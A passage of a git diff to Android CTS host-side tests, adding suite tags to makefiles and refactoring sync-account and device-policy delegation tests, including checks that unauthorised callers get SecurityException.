+Landroid/cts/compilation/CompilationTargetActivity;->m55()I
+Landroid/cts/compilation/CompilationTargetActivity;->m56()I
+Landroid/cts/compilation/CompilationTargetActivity;->m57()I
+Landroid/cts/compilation/CompilationTargetActivity;->m58()I
+Landroid/cts/compilation/CompilationTargetActivity;->m59()I
+Landroid/cts/compilation/CompilationTargetActivity;->m60()I
+Landroid/cts/compilation/CompilationTargetActivity;->m61()I
+Landroid/cts/compilation/CompilationTargetActivity;->m62()I
+Landroid/cts/compilation/CompilationTargetActivity;->m63()I
+Landroid/cts/compilation/CompilationTargetActivity;->m64()I
+Landroid/cts/compilation/CompilationTargetActivity;->m65()I
+Landroid/cts/compilation/CompilationTargetActivity;->m66()I
+Landroid/cts/compilation/CompilationTargetActivity;->m67()I
+Landroid/cts/compilation/CompilationTargetActivity;->m68()I
+Landroid/cts/compilation/CompilationTargetActivity;->m69()I
+Landroid/cts/compilation/CompilationTargetActivity;->m70()I
+Landroid/cts/compilation/CompilationTargetActivity;->m71()I
+Landroid/cts/compilation/CompilationTargetActivity;->m72()I
+Landroid/cts/compilation/CompilationTargetActivity;->m73()I
+Landroid/cts/compilation/CompilationTargetActivity;->m74()I
+Landroid/cts/compilation/CompilationTargetActivity;->m75()I
+Landroid/cts/compilation/CompilationTargetActivity;->m76()I
+Landroid/cts/compilation/CompilationTargetActivity;->m77()I
+Landroid/cts/compilation/CompilationTargetActivity;->m78()I
+Landroid/cts/compilation/CompilationTargetActivity;->m79()I
+Landroid/cts/compilation/CompilationTargetActivity;->m80()I
+Landroid/cts/compilation/CompilationTargetActivity;->m81()I
+Landroid/cts/compilation/CompilationTargetActivity;->m82()I
+Landroid/cts/compilation/CompilationTargetActivity;->m83()I
+Landroid/cts/compilation/CompilationTargetActivity;->m84()I
+Landroid/cts/compilation/CompilationTargetActivity;->m85()I
+Landroid/cts/compilation/CompilationTargetActivity;->m86()I
+Landroid/cts/compilation/CompilationTargetActivity;->m87()I
+Landroid/cts/compilation/CompilationTargetActivity;->m88()I
+Landroid/cts/compilation/CompilationTargetActivity;->m89()I
+Landroid/cts/compilation/CompilationTargetActivity;->m90()I
+Landroid/cts/compilation/CompilationTargetActivity;->m91()I
+Landroid/cts/compilation/CompilationTargetActivity;->m92()I
+Landroid/cts/compilation/CompilationTargetActivity;->m93()I
+Landroid/cts/compilation/CompilationTargetActivity;->m94()I
+Landroid/cts/compilation/CompilationTargetActivity;->m95()I
+Landroid/cts/compilation/CompilationTargetActivity;->m96()I
+Landroid/cts/compilation/CompilationTargetActivity;->m97()I
+Landroid/cts/compilation/CompilationTargetActivity;->m98()I
+Landroid/cts/compilation/CompilationTargetActivity;->m99()I
+Landroid/cts/compilation/CompilationTargetActivity;->m100()I
+Landroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk
index 342c8f5..e60f102 100644
--- a/hostsidetests/content/Android.mk
+++ b/hostsidetests/content/Android.mk
@@ -25,7 +25,7 @@
LOCAL_CTS_TEST_PACKAGE := android.content
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
index c9d3ec5..116da94 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
@@ -36,7 +36,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index cb372e7..d6d7386 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -39,7 +39,6 @@
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
-import android.util.Log;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
@@ -50,6 +49,7 @@
import java.io.IOException;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
import static junit.framework.Assert.assertFalse;
import static junit.framework.Assert.assertTrue;
@@ -63,6 +63,7 @@
public class CtsSyncAccountAccessOtherCertTestCases {
private static final long SYNC_TIMEOUT_MILLIS = 20000; // 20 sec
private static final long UI_TIMEOUT_MILLIS = 5000; // 5 sec
+ private static final Pattern PERMISSION_REQUESTED = Pattern.compile("^Permission requested.*");
public static final String TOKEN_TYPE_REMOVE_ACCOUNTS = "TOKEN_TYPE_REMOVE_ACCOUNTS";
@@ -126,10 +127,10 @@
notification.click();
} else {
uiDevice.openNotification();
- uiDevice.wait(Until.hasObject(By.text("Permission requested")),
+ uiDevice.wait(Until.hasObject(By.text(PERMISSION_REQUESTED)),
UI_TIMEOUT_MILLIS);
- uiDevice.findObject(By.text("Permission requested")).click();
+ uiDevice.findObject(By.text(PERMISSION_REQUESTED)).click();
}
uiDevice.wait(Until.hasObject(By.text("ALLOW")),
@@ -204,8 +205,9 @@
}
private boolean hasNotificationSupport() {
- return !getContext().getPackageManager()
- .hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ final PackageManager manager = getContext().getPackageManager();
+ return !manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+ && !manager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
}
private void allowSyncAdapterRunInBackgroundAndDataInBackground() throws IOException {
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
index c3c7058..0979e96 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsSyncAccountAccessSameCertTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
index 8dddd2d..bfdd072 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
@@ -111,6 +111,7 @@
assertTrue(latch.await(SYNC_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
} finally {
accountManager.removeAccount(addedAccount, activity, null, null);
+ activity.finish();
}
}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
index 2f6b6ff..e5664f1 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
@@ -36,16 +36,16 @@
return new Statement() {
@Override
public void evaluate() throws Throwable {
- Exception exception = null;
+ Throwable throwable = null;
for (int i = 0; i < mAttemptCount; i++) {
try {
statement.evaluate();
return;
- } catch (Exception e) {
- exception = e;
+ } catch (Throwable t) {
+ throwable = t;
}
}
- throw exception;
+ throw throwable;
};
};
}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
index caefd37..0c08ed7 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
@@ -17,6 +17,19 @@
package com.android.cts.content;
import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+import android.view.WindowManager;
public class StubActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ setTurnScreenOn(true);
+ KeyguardManager km = getSystemService(KeyguardManager.class);
+ if (km != null) {
+ km.requestDismissKeyguard(this, null);
+ }
+ }
}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
index 104fdbd..92e8cdf 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
index 4c817d9..c0b6fa2 100644
--- a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
@@ -24,7 +24,7 @@
LOCAL_PACKAGE_NAME := CtsSyncAccountAccessStubs
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 67acb25..8078290 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/cpptools/app/Android.mk b/hostsidetests/cpptools/app/Android.mk
index 4e4e51f..2719cd9 100644
--- a/hostsidetests/cpptools/app/Android.mk
+++ b/hostsidetests/cpptools/app/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsCppToolsApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index 1828e2c..9cbd49e 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -27,7 +27,7 @@
LOCAL_CTS_TEST_PACKAGE := android.adminhostside
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index 6454e46..0873334 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckAuthApp
@@ -27,7 +27,14 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ ub-uiautomator \
+ android-support-test \
+ legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
index 26e6dca..a8c0dbe 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckNonTestOnlyOwnerApp
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
index eeba939..c502fe8 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerApp
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
index a86a98b..c05d9d1 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerUpdateApp
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
index 8036348..d66c6bd 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckAuthAppTester
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
index 6e70b01..b7d99bf 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountManagementDevicePolicyApp
@@ -27,7 +27,12 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ ub-uiautomator \
+ android-support-test \
+ legacy-android-test
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
index f91366a..265555c 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
@@ -18,7 +18,6 @@
import android.accounts.Account;
import android.accounts.AccountManager;
-import android.accounts.AccountManagerFuture;
import android.accounts.AuthenticatorException;
import android.accounts.OperationCanceledException;
import android.content.Context;
@@ -80,8 +79,14 @@
// Normally the expected result of addAccount() is AccountManager returning
// an intent to start the authenticator activity for adding new accounts.
// But MockAccountAuthenticator returns a new account straightway.
- assertEquals(MockAccountAuthenticator.ACCOUNT_TYPE,
- result.getString(AccountManager.KEY_ACCOUNT_TYPE));
+ String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
+ String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
+ assertEquals(MockAccountAuthenticator.ACCOUNT_TYPE, accountType);
+
+ // Further verify that getAuthToken is working.
+ Account account = new Account(accountName, accountType);
+ String authToken = mAccountManager.blockingGetAuthToken(account, "authTokenType", false);
+ assertEquals(MockAccountAuthenticator.AUTH_TOKEN, authToken);
}
public void testRemoveAccount_blocked() throws AuthenticatorException,
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
index 0ef310b..35246b6 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
@@ -30,7 +30,7 @@
= "com.android.cts.devicepolicy.accountmanagement.account.name";
static final String ACCOUNT_TYPE
= "com.android.cts.devicepolicy.accountmanagement.account.type";
- private static final String AUTH_TOKEN = "mockAuthToken";
+ static final String AUTH_TOKEN = "mockAuthToken";
private static final String AUTH_TOKEN_LABEL = "mockAuthTokenLabel";
private MockAccountAuthenticator(Context context) {
@@ -42,7 +42,6 @@
result.putString(AccountManager.KEY_ACCOUNT_NAME, ACCOUNT_NAME);
result.putString(AccountManager.KEY_ACCOUNT_TYPE, ACCOUNT_TYPE);
result.putString(AccountManager.KEY_AUTHTOKEN, AUTH_TOKEN);
-
return result;
}
diff --git a/hostsidetests/devicepolicy/app/Android.mk b/hostsidetests/devicepolicy/app/Android.mk
index a22ef3f..d44e88e 100644
--- a/hostsidetests/devicepolicy/app/Android.mk
+++ b/hostsidetests/devicepolicy/app/Android.mk
@@ -17,4 +17,4 @@
include $(CLEAR_VARS)
# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
index 9d785c5..81b63b2 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
@@ -27,6 +27,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.mk b/hostsidetests/devicepolicy/app/Assistant/Android.mk
index 196f323..86144a2 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.mk
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDevicePolicyAssistApp
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
index aa9cfa1..522b196 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
@@ -25,13 +25,13 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDevicePolicyAutofillApp
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
index 90c1657..23eb1f7 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
@@ -29,6 +29,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
index ef72d61..eec2e12 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
@@ -25,13 +25,13 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsContactDirectoryProvider
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
index c24858d..c8872b4 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
@@ -39,7 +39,7 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
@@ -64,7 +64,7 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.comp2 \
--rename-instrumentation-target-package com.android.cts.comp2
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
index e33baab..1e6e2f1 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
@@ -16,7 +16,7 @@
include $(CLEAR_VARS)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsCustomizationApp
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
index f638adf..4b20829 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
@@ -19,6 +19,7 @@
<uses-sdk android:minSdkVersion="24"/>
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<application>
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
index 1ff51b9..a46eed8 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
index ab37090..55fc792 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
@@ -16,6 +16,7 @@
package com.android.cts.delegate;
import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
@@ -86,22 +87,16 @@
public void testCannotAccessApis() {
assertFalse("DelegateApp should not be an app restrictions delegate",
amIAppRestrictionsDelegate());
- try {
- mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
- expected.getMessage());
- }
- try {
- mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
- expected.getMessage());
- }
+
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
+ });
+
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
+ });
}
public void testCanAccessApis() throws InterruptedException {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
index 65ebd64..f706b85 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
@@ -16,6 +16,7 @@
package com.android.cts.delegate;
import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
import android.app.admin.DevicePolicyManager;
import android.content.Context;
@@ -45,14 +46,11 @@
public void testCannotAccessApis() {
assertFalse("DelegateApp should not be a block uninstall delegate",
amIBlockUninstallDelegate());
- try {
- mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Caller with uid \\d+ is not a delegate of scope delegation-block-uninstall.",
- expected.getMessage());
- }
+
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
+ });
}
public void testCanAccessApis() {
